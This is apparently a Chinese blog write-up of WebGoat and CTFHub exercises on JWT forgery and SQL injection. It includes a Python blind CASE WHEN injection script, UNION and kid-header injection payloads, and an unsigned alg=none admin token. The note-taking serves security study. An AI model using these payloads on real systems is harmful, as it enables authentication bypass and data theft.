JAVA安全—JWT安全及预编译CASE注入等

JAVA安全—JWT安全及预编译CASE注入等

20210504171230

20210504171735

什么是JSON

d29fb223bbd3e6b1536e164376baf3de

  • JSON Web Token(JSON Web 令牌)是一种跨域验证身份的方案。JWT 不加密传输的数据,但能够通 过数字签名来验证数据未被篡改(但是做完下面的 WebGoat 练习后我对这一点表示怀疑)。
  • JWT 分为三部分,头部(Header),声明(Claims),签名(Signature),三个部分以英文句号.隔开。JWT 的内容以 Base64URL 进行了编码。

头部(Header)

  • alg : 是说明这个 JWT 的签名使用的算法的参数,常见值用 HS256(默认),HS512 等,也可以为 None。HS256 表示 HMAC SHA256。
  • typ : 说明这个 token 的类型为 JWT
1
2
3
4
{
"alg":"HS256",
"typ":"JWT"
}

声明(Claims)

  • iss : 发行人
  • exp : 到期时间
  • sub : 主题
  • aud : 用户
  • nbf : 在此之前不可用
  • iat : 发布时间
  • jti : JWT ID 用于标识该 JWT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"exp": 1416471934,
"user_name": "user",
"scope": [
"read",
"write"
],
"authorities": [
"ROLE_ADMIN",
"ROLE_USER"
],
"jti": "9bc92a44-0b1a-4c5e-be70-da52075b9a84",
"client_id": "my-client-with-secret"
}

签名(Signature)

  • 服务器有一个不会发送给客户端的密码(secret),用头部中指定的算法对头部和声明的内容用此密 码进行加密,生成的字符串就是 JWT 的签名。
1
2
// 下面是一个用 HS256 生成 JWT 的代码例子
HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload),secret)。

Javaweb-SQL 注入攻击-预编译机制绕过

  • 在使用参数化查询的情况下,数据库系统不会将参数的内容视为SQL指令的一部分来处理
  • 而是在数据库完成SQL指令的编译后,才套用参数运行,因此就算参数中含有破坏性的指令,也不会被数据库所运行。
  • 这个方式也不是能够绝对的进行 sql 注入防御,只是减轻。如参数绑定方式可以使用下面方式绕过。
  • 通过使用case when语句可以将order by后的orderExpression表达式中添加select语句。(原理类似堆叠注入,一条语句出现多条命令)
1
2
3
4
String query = "SELECT * FROM users WHERE last_name = ?";// 不允许一个占位符(?)有多个值
PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1, accountName);
ResultSet results = statement.executeQuery();

进入靶场

Snipaste_2022-06-09_06-27-45

数据包分析(发送的请求指向的是源代码中的server)

Snipaste_2022-06-09_06-29-35

发现SQL语句,并且语句后面有order by(传递column参数),寻找传参column的地方

Snipaste_2022-06-09_06-34-48

我这里抓包有问题,抓不到数据包(理论分析一波)

IP改为i,发现报错

报错的时候存在order by,因此可以用case when语句

case when原理:普通的按某一个字段或者多个字段排序没办法满足我们的需求时,可以通过case when来排序

  • 根据报错构造Python脚本(webgoat在虚拟机里,不能用Python脚本跑)
  • 设置请求数据的数据头,和cookie
  • 设置请求的代理,也就是先发送给抓包工具
  • resp为request请求(目标URL,请求头(XML格式),cookie,代理)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
from string import digits
chars = digits+"."
data1 = "username_reg=tomx'+union+select+password+from+sql_challenge_users+where+userid%3D'teom'--+-&email_reg=7702%40qq.com&password_reg=123&confirm_password_reg=123"
headers = {
'X-Requested-With': 'XMLHttpRequest'
}
cookies = {
'JSESSIONID': 'ZwUabF1a2yNsk7UAWd05XAp0UEPB7CLJCZnZPvUX',//需要改成自己的
'JSESSIONID.75fbd09e': '7mc1x9iei6ji4xo2a3u4kbz1'
}
i = 0
result = ""
proxy={"http":"http://127.0.0.1:8888"}
while True:
i += 1
temp = result
for char in chars:
vul_url ="http://localhost:8080/WebGoat/SqlInjectionMitigations/servers?column=case%20when%20(select%20substr(ip,{0},1)='{1}'%20from%20servers%20where%20hostname='webgoatprd')%20then%20hostname%20else%20mac%20end".format(i, char)
resp = requests.get(vul_url, headers=headers, cookies=cookies, proxies=proxy)
# print(resp.json())
if 'webgoat-acc' in resp.json()[0]['hostname']:
result += char
print(result)
if temp == result:
break

完成

Snipaste_2022-06-09_06-48-32

Javaweb-身份验证攻击-JWT 修改伪造攻击

Snipaste_2022-06-09_07-07-13

选择汤姆这个用户,获取对应的数据包

Snipaste_2022-06-09_07-09-58

Snipaste_2022-06-09_07-12-27

Snipaste_2022-06-09_07-13-49

但是替换之后,还是会报错,原因是本身的签名不对,那么可以尝试更改第一个头部为不加密形式

Snipaste_2022-06-09_07-17-44

修改之后,成功过关

上面这种情况是建立在对方服务器没有一定要一个签名导致,如果一定要签名,那么就必须要密钥了

Javaweb-身份验证攻击-jwt密匙爆破攻击

Snipaste_2022-06-09_07-23-03

—一旦找出密钥就就可以创建新令牌进行签名。因此,只要密钥足够强大,暴力破解字典就不可行

—通过以下令牌找出密钥,并将用户名改为WebGoat

-令牌解密(iat:开始时间,exp:失效时间)

得出答案:victory

Snipaste_2022-06-09_08-04-08

Snipaste_2022-06-09_08-04-16

Snipaste_2022-06-09_08-04-21

Snipaste_2022-06-09_08-04-27

Javaweb-身份验证攻击-jwt修改伪造冒充

—通过伪造让Tom进行支付

—查看日志进行分析(这里发现一个token传参使用的JWT令牌)

Snipaste_2022-06-09_08-11-11

—解析jwt令牌(发现为Tom的数据包)

Snipaste_2022-06-09_08-11-14

—修改exp,并且将首部改为None,去掉签名部分构造JWT

Snipaste_2022-06-09_08-11-50

点击checkout抓包(查找与token匹配的数据包)

—在授权这里写入jwt(有些疑惑为什么不加上前面的参数token)

Snipaste_2022-06-09_08-12-11

—返回成功(这里没有检测签名失效时间的条件下)

Snipaste_2022-06-09_08-12-15

Javaweb-身份验证攻击-jwt安全结合SQL注入

Snipaste_2022-06-09_08-14-33

抓取删除汤姆时产生的数据包

Snipaste_2022-06-09_08-15-05

Snipaste_2022-06-09_08-16-46

删除汤姆只能自己删除自己,这里由于是杰瑞所以删除不了,所以要将这个杰瑞改成汤姆就行了,但是这里涉及到一个签名的问题,首先要知道key是什么

源代码分析

—这里执行了一条SQL语句,传递的参数是kid

—这个函数传递的参数是token,如果token不为空,就创建一个令牌的对象,并且将令牌解密

— .Jwts.parser().setSigningKeyResolver(自定义方法获取签名KEY).parseClaimsJws(token);//通过自定义方法获取签名key然后对token进行JWT解析

—kid为令牌的首部里面的kid(也就是说,这里没有预编译函数,所以存在注入点)

—利用sql inject,控制查询语句的查询值来控制JWT的密钥,从而伪造JWT,完成任务。

#数据库查询语句(说明jwt_keys表中有一个id的值是:“webgoat_key”):SELECT key FROM jwt_keys WHERE id = ‘webgoat_key

Snipaste_2022-06-09_08-19-30

构造注入语句

SELECT key FROM jwt_keys WHERE id = ‘y’ and 1=2 union select id from jwt_keys where id =’webgoat_key”

—查询id为webgoat_key中的所有信息(主要是查看签名信息的密钥)

CTF-Node.js-前端JWT登录安全-伪造admin实现getflag

https://jwt.io/#encoded-jwt

https://www.ctfhub.com/#/challenge

Snipaste_2022-06-09_08-28-49

先注册一个用户,登陆,在登陆的时候进行抓包,这里的抓包之后,如下图

Snipaste_2022-06-09_08-31-19

Snipaste_2022-06-09_08-31-31

由于我没有密钥所以还是之前的思路

第一步先改这里的alg为none

1
2
3
4
{
"alg": "none",
"typ": "JWT"
}

第二步改第二部分这里的secretid要改为空[],就代表空

1
2
3
4
5
6
{
"secretid": [],
"username": "admin",
"password": "123qwe",
"iat": 1654734540
}

然后用点号进行连接

1
ew0KICAiYWxnIjogIm5vbmUiLA0KICAidHlwIjogIkpXVCINCn0.ew0KICAic2VjcmV0aWQiOiBbXSwNCiAgInVzZXJuYW1lIjogImFkbWluIiwNCiAgInBhc3N3b3JkIjogIjEyM3F3ZSIsDQogICJpYXQiOiAxNjU0NzM0NTQwDQp9.

先抓取一个正常登陆的数据包

Snipaste_2022-06-09_08-45-03

来到下图页面后,抓取点击获取flag的数据包之后

Snipaste_2022-06-09_08-45-12

Snipaste_2022-06-09_08-45-26

将这个数据包放出去一次,就可以看到了flag

参考链接

1
2
https://www.bilibili.com/read/cv14490694?spm_id_from=333.999.0.0
https://blog.1997sty.com/archives/3473